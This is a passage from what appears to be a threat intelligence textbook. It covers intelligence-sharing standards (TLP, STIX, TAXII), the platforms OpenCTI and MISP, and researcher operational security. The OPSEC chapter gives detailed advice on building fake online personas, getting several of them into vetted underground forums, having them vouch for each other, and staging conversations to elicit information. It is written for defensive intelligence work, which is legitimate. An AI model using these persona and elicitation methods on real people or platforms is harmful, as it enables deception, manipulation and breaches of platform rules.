			TLP is a color-based model, ranging from TLP:RED, which facilitates the most granular and restrictive level of sharing, to TLP:WHITE, which facilitates the broadest level of sharing:
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			TLP is often used with threat intelligence information, such as contextual information about an attack, including attribution or threat intelligence observables and artifact information, such as file hashes and or attacker's command-and-control infrastructure. This data or intelligence information could be shared proactively, such as through an impending attack on an organization to being reactive, with TLP assigned to incident observable or indicator data.

			Some organizations opt to adopt the popular Chatham House Rule (CHR) in addition to TLP to help even further refine their control and access to threat intelligence data. When CHR is leveraged, a source cannot and should not be identified. The purpose of invoking CHR is to obfuscate the source of the information. Common ways to express TLP is to do so on the document itself, including a header, such as TLP:AMBER:CHR. An example of this caveat's utilization would be if two organizations were attending an event or having a meeting to discuss a specific threat actor or threat actor group. Here, the caveat of the meeting could be CHR, in which each organization could share what each of their intelligence holdings was in regards to the subject of research. Now, if one of these organizations identifies new intelligence, then the source of the information should not be disclosed.

			Structured Threat Information eXpression

			Structured Threat Information eXpression (STIX) (https://stixproject.github.io/) is a language for describing CTI to facilitate sharing, storage, and analysis. Created by the OASIS Cyber Threat Intelligence Technical Committee, STIX has been a widely adopted standard across the globe and information security community for several years due to its depth and ease of use. 

			Using STIX, a user can quickly represent all aspects of a compromise or investigation and their interconnected relationships. STIX is divided into objects, which categorize each piece of information with corresponding attributes and details. Those objects, or subsets of those objects, are used to understand and represent activities regarding research or response activities:

			
					Attack Pattern: This is an object that describes the way an adversary may attempt to compromise targets. Attack patterns help categorize attacks, and they provide detailed data and information about how those adversaries carry out attacks. An example of an attack pattern includes spear phishing.

					Campaign: A campaign is a set of malicious behaviors that are conducted by an adversary against specific targets or industries over a certain period. Campaigns often have a set of common goals or objectives, such as financial gain. Campaigns are often attributed to threat actors and intrusion sets. 

			

			Campaigns are characterized by their objectives and the corresponding attacks the adversary conducts. A good example of a campaign could include a focused threat actor group targeting the defense industry with a specific malware variant to unearth technological military secrets.

			
					Course of Action: Courses of action are actions that are taken during an active incident or actions that are taken post-incident to prevent or stop an attack. Courses of action can encompass everything from applying patches to reconfiguring firewalls.

					Grouping: A grouping indicates there is a shared context of STIX objects. Groupings are often used as part of ongoing investigations or analysis. 

					Identity: Identities can be used to represent organizations, individuals, or groups. The identity object can also include broad industries, such as the financial sector.

					Indicator: Indicators are used to detect suspicious or malicious activity. Malicious indicators are often witnessed across an organization, such as anomalous traffic from an endpoint to a strange domain. Indicators are often technical information such as domains, URLs, or file hashes.

					Infrastructure: The infrastructure object refers to any TTP that is associated with malicious infrastructures, such as domains or IP addresses. An infrastructure that is defined as malicious is any infrastructure that was used to contribute to malicious activity.

					Intrusion Set: The intrusion set object is a grouping of adversary behaviors that share commonalities that are believed to be conducted by a single group or adversary. Intrusion sets can span several campaigns but are often shared by the same threat actor.

					Location: Location refers to a geographical location. This can be anything from a continent (such as North America) and residential address to GPS coordinates.

					Malware: Malware is an object that represents some sort of malicious code. The malware object intends to identify and categorize the type of malware. This object should also include technical details about the malware being analyzed.

					Malware Analysis: The malware analysis object captures all the relevant data associated with the results of a dynamic sandbox execution or the static analysis of a specific malware sample.

					Note: Notes are intended to be informative and related to the investigative case but cannot be captured in other STIX objects.

					Observed Data: The observed data object is intended to provide raw information related to entities, such as systems or domains.

					Opinion: The opinion object is an opinion that's given on data that's been produced from and sometimes analyzed as an outside entity. For example, if an analyst receives an intelligence tip from an outside party, they could render the opinion as strongly agree, indicating that they agree with the intelligence analysis.

					Report: The report object is a collection of CTI that focuses on one or more campaigns, topics, and threat actors. Reports are intended to correlate threat activity to tell a comprehensive story of activity.

					Threat Actor: The threat actor is a group, organization, or individual who is believed to conduct malicious activity. 

					Tool: Unlike the malware object, the tool object is a legitimate tool that is often used by threat actors. Common examples of this include tools such as Microsoft PSExec and PuTTY.

					Vulnerability: The vulnerability object is intended to illustrate the vulnerability that's employed by a threat actor to compromise a system. This is most commonly tracked as a CVE number within the vulnerability object. 

			

			The data model surrounding each of these objects that STIX employs is used to visually model the threat campaign. The following diagram shows a simple example of how the threat objects can be tied together to represent the threat campaign:
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			Figure 4.5 – STIX relationship example

			STIX is often used as a standard JSON output file containing objects that can be ingested into security products. As an example, a security vendor may release a STIX JSON file that includes intelligence on a campaign, along with the corresponding indicators and observables, to form a JSON output that can be ingested into security products for blocking or alerting. 

			Trusted Automated eXchange of Indicator Information (TAXII)

			TAXII, short for Trusted Automated eXchange of Intelligence Information (https://oasis-open.github.io/cti-documentation/taxii/intro), is an application protocol that allows CTI information modeled in STIX to be exchanged over HTTPS. The application protocol defines a REST API and a set of requirements for TAXII clients and servers that support information being exchanged. TAXII defines two primary service models that can be adopted for sharing information – collection and channel: 
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			Figure 4.6 – Illustration of TAXII sharing models

			The collection model is the simplest to implement. Someone who produces a CTI that they want to share can set up a TAXII server that other clients or consumers can request; this is a request-response model for information sharing. The channel model is a little more complex but still relatively easy to implement. In this model, a TAXII server acting as the channel allows CTI producers to push data to many consumers who subscribe to the channel. The channel can also have many CTI producers pushing data into the channel for consumers who have subscribed to the channel. Each of these models is represented in the preceding diagram. 

			Now that we've covered some of the data-sharing frameworks that are utilized for structuring CTI and sharing their information, let's discuss the various storage platforms that are utilized to collect, enrich, and pivot during threat hunting operations.

			Storage platforms

			Any organization starting a CTI program will eventually have to address storing and manipulating intelligence data during their daily operation of collecting and enriching. Most organizations will look to open source solutions in the infancy of their programs, though many move to custom threat intelligence platforms as the needs of the organization grow. There are two primary open source solutions that most organizations decide to employ – OpenCTI and MISP. 

			OpenCTI

			OpenCTI (https://www.opencti.io/) is an open source tool that many new CTI shops wind up deploying once they realize that they need to manage their collection and have a place to enrich and contextualize this information. According to their documentation, "OpenCTI is an open source platform that allows organizations to manage their cyber threat intelligence knowledge and observables. It has been created to structure, store, organize, and visualize technical and non-technical information about cyber threats":

			
				
					[image: Figure 4.7 – Screenshot of the OpenCTI dashboard

]
				

			

			Figure 4.7 – Screenshot of the OpenCTI dashboard

			OpenCTI's strong points are centered around knowledge management, data visualization, and providing context to collected observables and indicators. The tool lets us pivot between entries and relationships within the entire dataset and can easily visualize this information. Finally, the tool does an amazing job of collecting both technical and non-technical information and tying it to the relevant source material.

			Malware Information Sharing Platform (MISP)

			The Malware Information Sharing Platform (MISP) (https://www.misp-project.org/) is an open source tool that's often deployed to complement OpenCTI, which is primarily used for storing and distributing threat indicators that have been identified through malware analysis and reverse engineering. According to their documentation, "MISP is an open source software solution for collecting, storing, distributing, and sharing cyber security indicators and threats about cyber security incidents analysis and malware analysis. MISP is designed by and for incident analysts, security and ICT professionals, or malware reversers to support their day-to-day operations to share structured information efficiently":
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			Figure 4.8 – Screenshot of the MISP dashboard

			MISP excels as a sharing platform and the users of the software benefit the most from sharing with other trusted platforms. For any organization that is just focusing on attack surface data, MISP truly excels at sharing and collecting threat indicators that can be used for countermeasures, blocking, and overall security posture improvements.

			Summary

			In this chapter, we talked about the importance of any CTI program adopting standards and frameworks as an organization. Additionally, we introduced you to several threat modeling methods and frameworks and discussed several of the data sharing frameworks that most organizations use. Finally, we introduced you to two open source platforms that many CTI programs deploy and discussed the benefits of each of them. 

			In the next chapter, we will be switching our mindset to focus on the tactical and practical application of collecting cyber threat intelligence. We will be introducing the concept of operational security and its technical and non-technical application, as well as its overall implementation.

		

	
		
			Section 2: How to Collect Threat Intelligence

			Section 2 of Operationalizing Threat Intelligence builds upon Section 1 of the book with the introduction of core concepts related to how to collect, enrich, and analyze threat data and intelligence. This section addresses and answers the questions How to do I collect threat intelligence? and How do I perform threat hunting and pivoting? The chapters throughout Section 2 cover everything from understanding operational security to threat intelligence similarity clustering. 

			This part of the book comprises the following chapters:

			
					Chapter 5, Operational Security (OPSEC)

					Chapter 6, Technical Threat Intelligence – Collection

					Chapter 7, Technical Threat Analysis – Enrichment

					Chapter 8, Technical Threat Analysis – Threat Hunting and Pivoting

					Chapter 9, Technical Threat Analysis – Similarity Analysis

			

		

	
		
			Chapter 5: Operational Security (OPSEC)

			Operational security or OPSEC, as it's often referred to, is the foundation for any threat intelligence function that involves actively performing threat intelligence open source collection, such as interfacing with a command-and-control infrastructure or perusing underground forums. OPSEC, in its rawest form, is the act of protecting yourself when you're collecting intelligence in both a technical and behavioral way. Having personal or technical information fall into the wrong hands during intelligence collection can cause turmoil both personally and professionally, and this chapter intends to help prevent that from happening.

			OPSEC acts as an intersection between technical threat intelligence and behavioral threat intelligence and is meant to serve as guidance on how to protect you when you're conducting open source intelligence (OSINT) investigations. As the first chapter in Section 2 of this book, this chapter intends to introduce you to the core technical, procedural, and policy-driven concepts related to OPSEC and its inception in cyber threat intelligence (CTI). 

			At its core, this chapter will cover the different types of OPSEC, the policies involving OPSEC, identity OPSEC for non-traditional sourcing use, technical OPSEC, such as virtual private networks (VPNs), and other ways to stay operationally secure when collecting intelligence from non-traditional sources.

			Specifically, in this chapter, we are going to cover the following topics:

			
					What is OPSEC?

					The OPSEC process

					Types of OPSEC

					Identity OPSEC

					Technical OPSEC types and concepts

					Actor engagement

					Source protection

					OPSEC monitoring

					Personnel training and metrics

			

			What is OPSEC?

			In any research field where the focus of the study has to do with some form of threat, menace, or peril, the target of that analysis may turn on those that wish to understand, document, and analyze them. This is true for threat researchers and threat intelligence analysts, as well as those in the field of cyber security. In Chapter 2, Threat Actors, Campaigns, and Tooling, we spoke very briefly about how the threat actors behind Storm Worm began targeting organizations that were studying them, such as the SpamHaus project, and even began targeting the personal website of Joe Stewart, a security researcher from Secureworks, after he published research about the worm's capabilities. These limited examples are not one-offs or contained instances. There has been a long history of cyber threats where threat actors, threat actor groups, organized crime, and even nation states have focused their attention back on the security research community. Let's look at a few examples that have just recently occurred. 

			In 2015, several security researchers identified that sock puppet accounts on LinkedIn were targeting security researchers. These accounts, which were tied to an organization called Talent Src, utilized the headshots of other legitimate LinkedIn account holders or had taken headshots from other social media sites. During the campaign to connect with security researchers, these accounts tried to recruit individuals and even utilized the profiles of attractive women to engage with the threat research community.

			Important Note

			Sock puppet accounts are accounts that are set up and usually used for something nefarious in nature. The name is a reference to the idea that someone else's hand is the driver of the account and usually has an ulterior motive that the account has not represented.

			Further research has also shown that the corporation's LinkedIn profile was fake and that even the Twitter profile tied to the organization was not real. So, you may be wondering, what was the purpose of all of this? Utilizing social networks for intelligence gathering is a common practice – not only by threat actors but also by security research professionals performing OSINT gathering. In this instance, it can be speculated that the threat actor group is possibly attempting to connect to researchers to map the individuals and the organizations around them, or even to elicit information from them directly. While in this instance it can feel like there may not be a physical threat, active intelligence campaigns against researchers should never be ignored or discarded as uneventful. The following example is much more aggressive.

			Every year, a cyber security conference named CyCon is hosted in Tallinn, Estonia, by the NATO Cooperative Cyber Defence Centre of Excellence. CyCon is short for the International Conference on Cyber Conflict. According to the conference documentation, The annual International Conference on Cyber Conflict addresses the most relevant issues concerning the cyber defense community. In its 13 years of existence, CyCon has become a community-building event for cyber security professionals, adhering to the highest standards of academic research. More information about CyCon can be found at https://ccdcoe.org/cycon/.

			In 2017, the threat actor group APT28 (https://attack.mitre.org/groups/G0007/), a group tied directly to Russian intelligence, specifically distributed malware that utilized spear-phishing tactics that targeted cyber security researchers with propaganda for the CyCon conference. This is a significant example as the group used a malicious Microsoft Word document that appeared to advertise information for an actual upcoming security conference to infect these security researchers with actual malware. This campaign showed how aggressive the group had become.

			They were targeting security researchers by utilizing an actual cyber security conference as part of the social engineering portion of their campaign. From the technical side of this campaign, their distributed document was titled Conference_on_Cyber_Conflict.doc, another social engineering lure that, when executed, prompted malicious scripts within the file to execute and infect the hosts' computer with Seduploader, a malware spyware variant the group was known to be using for years. The document that they used in the attempted exploitation also included language from the conference's website, as well as its logos, making it appear to be legitimate, which furthered their social engineering efforts. This is a prime example of a very focused and targeted attack against the cyber security research community.

			In 2021, Google published significant research (https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/), warning that they had uncovered an ongoing nation state-backed hacking campaign run by North Korea, which had specifically been targeting cyber security researchers. In their report, they identified that this group had used numerous social media mechanisms to communicate with security researchers, including Twitter, LinkedIn, Telegram, Discord, Keybase, and even email. The profiles that they used to communicate posted links to the threat actor group's blog. They often posted videos that would perform exploitation attacks that their other social media accounts would then repost in an attempt to build the authenticity of the sock puppet accounts, as well as building on the reputation of the organization hosting the blog. After establishing some credibility and connecting with a security researcher, the threat actors behind the sock puppets accounts would ask them whether they wanted to collaborate on some security for their blog. This is not an uncommon practice in the security research community.

			The blog contained posts that documented the analysis of vulnerabilities that they had publicly disclosed and also included fake guest posts from actual security researchers. However, while visiting the blog, there was something much more malicious occurring – the website contained a watering hole attack. 

			Important Note

			A watering hole attack is an initial infection vector technique where the threat actor is trying to compromise the victim by utilizing the victim's browser as the exploitation target. These attacks are usually hosted on sites where victims are known to visit or have been socially engineered to visit. The term is a callback to hunting, where the hunter waits at a watering hole, knowing their prey will usually come to it.

			Immediately following a security researcher visiting the site, a malicious service was installed on the computer that the researcher had used to visit the blog. An in-memory backdoor began to communicate with the command-and-control infrastructure that had been established by the threat actor group. It is speculated that the threat actor group was seeking vulnerability research from the security researcher that they could then utilize for future threat campaigns. 

			While we've largely highlighted focused cyber-attacks against security researchers, the threat of physical harm also exists for the subset of security researchers who usually engage with threat actors. In this subset, the security researchers usually deploy fake online personas to engage with the threat actor directly. While initial connections commonly occur in forums on the dark web, direct connections between the security researcher and the threat actor can occur once the security researcher's persona has established a foothold in the community, building credibility and trust. These threats of physical harm are often associated with the threat actor's persona being discovered to be fake and the threat actor having discovered the real-life identity of the security researcher. We have seen these types of incidents occur when the security researcher has focused their attention on threat actors who are financially or politically motivated.

			No matter what the motivation, security researchers need to ensure that they protect themselves when conducting any security-focused research into threats, campaigns, or actors. This is what OPSEC is about! OPSEC is a security and risk management process that prevents sensitive information about you from getting into the hands of those that wish to harm you. This can mean several things, including information about your identity, the infrastructure you use for your collection processes, and even the actions you take during these operations. Let's talk about the OPSEC process.

			The OPSEC process

			Most organizations that practice OPSEC define it as a set of rules or procedures that are followed that prevent critical information from being discovered. While every organization can define an OPSEC process, it can be boiled down to just a few steps. Let's take a look at a few.

			Identify the information or actions that you are trying to protect. Discovery doesn't just mean data; it could also include actions that you perform during your collection operations that provide the threat actor with information about what you wish to discover and your intent. Protect any information about your identity and identify critical information that's used in your operations, such as online personas, infrastructures, utilized software, and your source collection being transmitted through networks. Ensure that you only perform actions that you know will not end in your collection efforts being discovered and that you don't perform actions that will notify the threat actor of your collection efforts.

			Evaluate your operations and identify any weaknesses or threats. Never let yourself be lulled into a false sense of security. Review every aspect of your operation to ensure that you have applied the appropriate OPSEC procedures that protect your data, infrastructure, and collection operations. Put on a metaphorical black hat and consider what your actions would look like if they were observed by a threat actor. Think about discovery and what the threat actor would and could do after observing your collection operations. Remember that if your operation is discovered, the threat actor will immediately view you as an adversary and will work to discover your capabilities and intentions, or even begin counter-operations that focus on discovering your identity. Think about what indicator data the threat actor can begin collecting about you and your collection operations, as well as what they could presume from the tactics, techniques, and procedures you use. 

			Before you begin an operation, always assess the risks. A risk is the likelihood that the threat actor will be able to identify your collection operation. This involves what they could effectively collect about you and your operations, as well as what actions they could take upon discovering them. To establish a repeatable process around determining the risk, most organizations establish some form of risk assessment that places metrics around the nomenclature of the operation, which assists in determining acceptable risk.

			Apply the appropriate OPSEC countermeasures. Countermeasures are procedures that you take to prevent the threat actor from detecting that your collection operation even exists. Throughout this chapter, we will provide guidance and suggestions on how to apply different kinds of OPSEC countermeasures.

			For OPSEC to be implemented appropriately, established processes and procedures that govern your rules of engagement need to be standardized, and policies need to be set up that enforce this process. Additionally, procedures need to be implemented that consistently test your security posture. The appropriate training needs to be implemented to ensure personnel are aware, understand the risks, and are utilizing the procedures appropriately. We'll cover all of this in this chapter, but for now, let's move on and discuss the various types of OPSEC.

			Types of OPSEC

			During your collection operations to fulfill your intelligence requirements, several types of OPSEC should be considered. This will help ensure that the appropriate measures are taken to ensure your collection operation doesn't fail and, more importantly, you haven't inadvertently put yourself at risk. These types of OPSEC include protection mechanisms to assist in hiding information about you, your collection operation, or even the data you are seeking to collect so that you're not identified by threat actors. These types of OPSEC include the following:

			
					Information about your identity

					Information about the identity of your online personas

					The infrastructure you utilize to perform your operations

					The equipment you utilize during the operation

					Protecting the data you have collected both in transit and at rest

					Source protection

			

			Putting OPSEC countermeasures in place for all of these is crucial for any security and risk management program, and enforcing them with policy is vital for success. Now, let's discuss each of these types of OPSEC countermeasures, beginning with identity OPSEC.

			Identity OPSEC

			Identity OPSEC involves procedures and countermeasures that you take to protect your identity. With online collection operations, two identities need to be protected; your identity and that of any online personas that have been utilized to run the operation. Let's examine both. 

			Personal protection

			Your identity is perhaps the most critical piece of information that should be protected during your collection operations. Any piece of personally identifiable information (PII), and even information about your infrastructure that can lead to you being identified, should be protected at all costs and even completely separated from the collection operations. Complete separation is usually not an issue for corporate organizations, assuming that their security research teams use best practices, perform risk assessments, and actively try not to mingle personal information with corporate collection operations. 

			This becomes a little more difficult when the security researcher is working independently. It is in these instances where completely segregating collection operations and information that could lead to your identity being discovered is often impossible. While we will discuss technical OPSEC later in this chapter, you must consider that monetary transactions, which are used to purchase infrastructure for collection, are not outside the scope for entities that want to discover who you are. If it is as simple as the nation state requesting the details of a monetary transaction to identify that your credit card is associated with the infrastructure being used to collect sensitive information or infiltrate a threat actor organization, then this is an OPSEC failure. Even while acting as an individual researcher, you should go through the OPSEC process before you perform any operation to understand your risk.

			While the technical OPSEC procedures and countermeasures we will discuss will assist in protecting your infrastructure and your collection operations from being discovered, a time will come when you will need to engage. When we say engage, we don't necessarily mean directly with the threat actor – sometimes, this means something as simple as creating an account on a dark market or dark web forum. Actively choosing to engage means that you want to create another identity to interact with the market, forum, or even with other unknown actors in these environments. We call this process online persona creation and what some people fail to understand is that this process, if mature, should come with handling and management. 

			Online persona creation

			Most people have unknowingly created an online persona to get access to something in their lives. They probably did this because they didn't want the unwanted spam or marketing emails, or maybe it was to gain access to information but they didn't want their identity being traced. Most personas of this nature are considered one-offs in the sense that they are used for this specific purpose and are never used again. Furthermore, this persona had no real existence before the very first time it was utilized. When we say online persona creation, this is not what we're talking about. We are specifically talking about creating an identity with an internet presence and a personal history, thus creating a new person. Once you've decided that you need to engage during your research and collection operations, there are a couple of key things you should realize about engagements. Let's take a look.

			Create all the PII for your online persona. Create a complete personality and put some thought and effort into creating the identity. It may have been appropriate to create a one-off with just a full name, username, and email address that was completely fake, did not exist, and was made just to fool form validators. However, the online persona you create for your engagement operations should include as much PII about the identity as possible. Put some time and effort into creating a new personality. Backstory this new identity. What's their name, where are they from, where do they live, what do they do for a living, where do they work, and what are their interests? Establishing this backstory about the new persona will assist with how that identity will engage to get vetted access to information. Additionally, if information about this online persona is going to be used, ensure that the identity has accounts set up that are utilized by the personality. Email is a great example of this. Create an email account that will be used by this online persona. However, account creation should not be limited to just email – go wild! Assume that this identity has a complete social media and communication presence: TikTok, Instagram, Facebook, LinkedIn, Twitter, Telegram, Keybase, Reddit, and so on. Create a complete online presence. While doing this, also keep in mind that most of these platforms dissuade their userbase from doing this and that this can even be considered outside the terms of service you agree to when creating accounts on these platforms. However, doing this sets us up for our next point. 

			Your persona was not born today. When you meet a new person that piques your interest, consider what most people do that is now considered normal behavior. We would say that the first thing most people do is search the internet for that person's name, just to see what their internet presence looks like. I'm positive that you have done this; that is, Googling someone's name to see what their online presence is. Threat actors do the same thing! If you are seeking access to a dark market or dark forum where the administrators must approve access, if your persona doesn't have an online presence, then being accepted into this community is unlikely. Take the time to build an online presence for your persona so that once the identity has been chosen to engage, an online presence of that personality with some internet history exists. This will help create the illusion that the identity is a real person and not a sock puppet account that's been created for some unknown reason. 

			Strive to create a long-term identity. Creating an identity that establishes a foothold in online communities affords opportunities that do not exist for one-off accounts. Long-term identities that become recognized and established in communities allow you to gain access to highly vetted forums or communities that provide information that's not readily available through other means. With established bona fides within a community for your online persona, threat actors may become more willing to share information or even establish your persona as a member of the organization. 

			Don't overly divulge information about your persona. While an identity for your persona exists, strive to keep as much of it hidden from the threat actors as possible. Your first instinct will be to seek out validation and offer too much information. However, safeguard as much information as possible about your online persona until it benefits you to reveal any PII about your identity. If my intuition is correct, the actor that's seeking information about you will go into investigative mode and will naturally discover your persona's online footprint, further establishing that you are a real person versus a sock puppet identity that's been created for nefarious reasons.

			Constantly create new personas. Your persona is going to get burned, meaning that the actor that you're engaging with in a dark market or underground forum will become suspicious by your actions or inquiries. They will vocalize distrust to the community and your persona may be banned, meaning that this persona will no longer be able to access data in this community and, potentially, other communities, should other members in the community frequent multiple locations that offer similar data for collection. They could vocalize distrust for you in these other communities, leading to your persona being blocked there as well.

			For some, once their persona has been burned, there can be a feeling of loss as the development and curation of an online persona could have lasted for months or even years. This is a good reason why researchers who utilize online personas to engage should constantly be creating and developing personas that they can use for engagement operations. If a persona is burned without another to pick up the engagement, access to the community is lost. 

			Even with just a few online personas, developing the personality of the identities can become difficult – especially keeping facts and details of one identity separate from the others. Your personas' personalities and personal information should never mix to preserve persona uniqueness. For researchers to grow and develop multiple personas, you can use a persona management process to help track and manage all the available personas that can be used for a collection operation, as well as identifying what sources can be used to collect information for an organization.

			Persona management

			Consider that all your online personas are unique individuals with backstories and an online presence. Persona management is all about preserving the biography of those identities and ensuring that they don't mix the PII and personalities. Persona management can be something very simple, such as keeping all your persona information in a document, or something very complex, such as developing an internal application that's used by the organization that can even automate persona creation, including the creation of social accounts. Features such as username and password management, logging instances where the persona was used, and, more specifically, which location on the internet can all be integrated into a persona management system.

			Utilizing a persona management process or system that contains detailed notes about the persona and what the intention of the persona is can be extremely useful; the researcher can refresh themselves with the identity before roleplaying as part of an engagement operation. If you're engaging a vetted dark market or restricted underground forum, then logging any information about how the persona attempted to get, or succeeded in getting, vetted access is also very useful. This can assist an organization in understanding what the footprint of their collection opportunities looks like.

			Important Note

			A vetted access community is a dark web or underground location in which you need to gain membership to join. Often, approval can mean that an established member of the community just vouches for new members. However, there have been instances where joining could mean providing data and information or even proving loyalty through any number of challenges. These communities often have data that cannot be collected through public channels. Usually, the data in a vetted access community is more valuable and unique as members must abide by rules, such as no abusive or nefarious behavior within the community; otherwise, they risk excommunication.

			Once vetted access to a gated community has been granted, then an organization should consider the impact of losing access to this community and what it means for any type of data collection. Most persona management systems also include processes around managing continued access so that data collection in the community is not lost for the organization. This is known as vetted access management.

			Vetted access management

			Immediately after one of your online personas gains vetted access to a gated community, then you should be thinking about ensuring that another one of your personas gains vetted access as well – if not your online persona, at least another researcher's online persona. This will help ensure that if one of the personas in the vetted community is burned, then the organization will still have access to continued data collection. The process of vetted access management and even tooling into a persona management system could assist with all of this. This can help you identify what the collection footprint of the organization looks like, how many personas the organization has embedded into which vetted communities, and identify and prioritize where vetted access should be attempted. Consider the relationship between the persona and the vetted access community as being part of the personality of the persona, meaning that this identity will most likely seek out vetted access in similarly focused communities. 

			As a rule of thumb, always try to have a minimum of two personas in a vetted community so that if a persona is removed from that community, it is not impactful to the organization. Additionally, for any burned personas, immediately begin planning on how to insert new personas into the vetted community to assist in recouping the loss.

			Infiltrate a vetted access community with multiple personas. We have already talked about the benefits of trying to get multiple personas into one vetted access community. Knowing that you're going to want multiple personas in a location with vetted access, you should initiate all your access attempts with multiple personas – maybe not at the same time, but around the same time frame. Should all the attempts prove successful, then the problem is solved, and you should have multiple personas in that community. Each persona must operate independently so that the administrators of the community don't tie the personas as knowing each other or being together. This simply means that you need to ensure that each persona should operate within their specific identities and established goals so that the community does not begin to feel that the two identities are the same person.

			These are just some best practices and shared knowledge that we've learned from our years of experience.

			Persona best practices

			Before we move on to technical OPSEC, there are a few more unorganized thoughts around persona best practices that we wish to share.

			Roleplay the culture you know. If the location where your online persona lives is a key factor to your engagement operation, then consider that you can't just create an online persona and pretend that your persona lives in any region of the world with impunity. Let's say that we're both from Missouri in the United States and that if we created a persona with the intent of infiltrating a Russian language-speaking vetted access community, the chances of our success are going to be extremely low. We don't understand the cultural sensitivities and nuances of a born, bred, and language-speaking Russian individual to fake roleplay this persona. Furthermore, any attempts to utilize translation tools to communicate will fail as we don't understand the slang of this community, and machine translation will most likely highlight the fact that we are not native speakers if we utilized it to engage.

			Also, we mainly operate out of the United States, meaning that the hours we're performing engagement operations are directly tied to the hours we are not sleeping. If you plan on engaging with a community that's based in another region of the world, base your persona near that geographic location and ensure that your online persona is showing a presence during when this community is active.

			Regionally focused operations can also affect the social media accounts that your persona establishes when it's created. Consider that some regions of the world utilize other forms of social media and other forms of communication outside of Facebook and Telegram. Qzone, QQ, WeChat, Line, and Sina Weibo are emerging as prominent social media networks based in Asia. 

			Finally, from a technical OPSEC perspective, ensure that the infrastructure and tools represent the regional-specific details that you have incorporated into your persona's identity. If your persona is Russian-born and lives in Moscow, then ensure that the operating system of the virtual machine you have put together to engage has a Cyrillic keyboard layout and has the appropriate language support installed. Additionally, utilize a VPN that shows that your network traffic originates from the region of the world you are performing your engagement operation in. 

			Use your vetted personas to vouch for other personas. Sometimes, vetted access communities operate like a mob you see in movies in the sense that to gain access, it can be facilitated if someone vouches for your persona during evaluation. In instances like these, plan attempted access requests by having already vetted personas vouch for the persona that is attempting to gain access to the community. Online personas who have long-term access and an already established reputation in a community likely have a reputation so that their established bona fides carry weight for decision-makers. Remember, the goal of gaining access to a vetted access community is to gather data, so the more online personas you have in a community with collecting and building reputations, the more data access opportunities will unfold. This brings me to the next conversation point. 

			Use your online personas to drive conversations in the vetted access community. Remember that none of your online personas are supposed to know each other, meaning that they are all just online actors like everyone else in your vetted access community. Should you be trying to discover data for collection, want to engage conversationally with another actor, or even set up an opportunity so that others are aware of what you are seeking in the hopes of a direct message opportunity, utilize your online personas to set up the opportunity. Stage a conversation publicly in the community so that other actors can see and even engage in the discussion. Steer the conversation with your personas to what you ultimately want the outcome to be. In doing this, you are hoping that other actors in the community will engage and even provide you with access to data. 

			When you utilize your personas in this way to establish an opportunity for engagement or information disclosure, this is known as an elicitation technique. According to the Federal Bureau of Investigation, elicitation is a technique that's used to collect information that is not readily available and do so without raising suspicion that specific facts are being sought. While this technique is widely used in real-world espionage campaigns, it can also be used to draw out information in online engagements without any direct action with a threat actor.

			Several different scenarios can be utilized for the engagement. The following are just a few examples:

			
					Opposition statements: Offer an opinion that allows someone to argue the counterpoint and even provide information. This is just a theoretical example, but you could say something such as there is no way that the exploitation technique leads to any opportunity for RCE. In making a statement like this, the conversation has given any actor the possibility to counter the discussion and provide information. 

					Provocative wording: Persuade other actors to question you to set up a conversation. Your statement could be something such as I messed up. I had the opportunity to deploy [INSERT ANY TOOL] in the environment I had just p0wned but didn't. Saying this sets up an opportunity for a response such as, Why didn't you? Since another actor is asking the question, it makes the conversation appear innocent.

					Questions and polling: Just ask a question. Numerous conversations are started with I have a question. Then, just ask a question that aims to move the conversation toward what your goal is. Alternatively, it's not uncommon to post a poll to the community to spark conversation.

					Volunteer information: Use some information to set up a conversation – it doesn't matter whether the information is real or disinformation. An example of this could be I hear that [INSERT RANSOMWARE NAME] affiliates are receiving 90% of their ransomware payouts. Stating information, whether real or not, will make the actor believe that this information can be obtained and if it's not known, they may be prompted to ask questions.

					Engage in conversation: If there are other active conversations, then simple engagements feigning interest can be enough to encourage a person to continue to discuss or volunteer data. An example of this could be something such as 2 TB? Interesting.

			

			When you're attempting to use elicitation with your online personas, remember that planning is key. Roleplay the engagement operation with multiple people and utilize the OPSEC process to determine the risk versus the reward. Additionally, collecting information from a vetted access community is far different than direct actor engagement, in which you source an online actor directly for data and information, paid or unpaid. We'll talk about actor engagement later in this chapter.

			Now that we've talked about the various types of identity OPSEC countermeasures and procedures, let's discuss the various types of technical OPSEC countermeasures and procedures. 

			Technical OPSEC types and concepts

			Technical OPSEC is a cornerstone for any practicing CTI analyst. Technical OPSEC is intended to be the bedrock of the technical techniques that are employed by a CTI investigator, analyst, or researcher to protect and mask their activity, identity, and behavior while collecting CTI data and information.

			Technical OPSEC should occur fundamentally at three different levels throughout the organization and CTI. OPSEC should occur at the organizational level, the specific case or investigation level, and the individual task level. 

			Additionally, within technical OPSEC, several core tenets should be applied for any intelligence-gathering endeavor. Following these core principles before delving further into technical OPSEC is important as they should continually remain in the back of the investigator's or researcher's mind.

			These core investigative principles are as follows:

			
					CTI investigators, analysts, and researchers should avoid disclosing any identifiable information whatsoever, including information about themselves, their organization, or their affiliates, publicly. The ability to maintain anonymity while conducting an investigation is paramount.

					CTI investigators, analysts, and researchers should continually operate under the assumption that their activity is monitored or analyzed by third parties. Operating under this assumption ensures the researcher, analyst, or investigator takes the utmost care with their operational work.

					CTI investigators, analysts, and researchers should continually diversify their information sourcing. Doing so prevents the focal point of a single point of collection. If researchers continually exploit one location for sourcing, the likelihood of others monitoring your activities or scrutinizing them increases.

					CTI investigators, analysts, and researchers should avoid patterns of behavior online. Performing predictive behavior patterns online is often somewhat trivial to attribute. Avoid using repetitive searches or search functionality on sites; repetition can lead to an objective being unearthed by a threat actor.

					CTI investigators, analysts, and researchers should separate their professional and personal work. This logical separation ensures proper personal OPSEC is maintained. This includes not using personal devices for investigative purposes.

					CTI investigators, analysts, and researchers should avoid intermingling active investigations or personas. Tactical investigations should be conducted in vacuums with no personas being leveraged in non-traditional sourcing. Additionally, any data associated with active investigations should be siloed and kept independent of any other investigation that's occurring in parallel. 

			

			Just as there are several distinct and diverse principals within technical OPSEC, there are specific distinct focus areas from a technical perspective that are focal points within technical OPSEC:

			
					Infrastructure and network

					Hardware

					Software and operating system

			

			Since the intricacies of each discipline within technical OPSEC often vary, this book will cover the overarching principles and core concepts that should be examined and applied to each sub-discipline within OPSEC. This section is not intended to be a technical deep dive, as those can easily be found online for each topic we will be discussing. Each distinct discipline has its challenges, considerations, and implementation techniques, all of which we will discuss and examine in greater detail in the following section. 

			Infrastructure and network

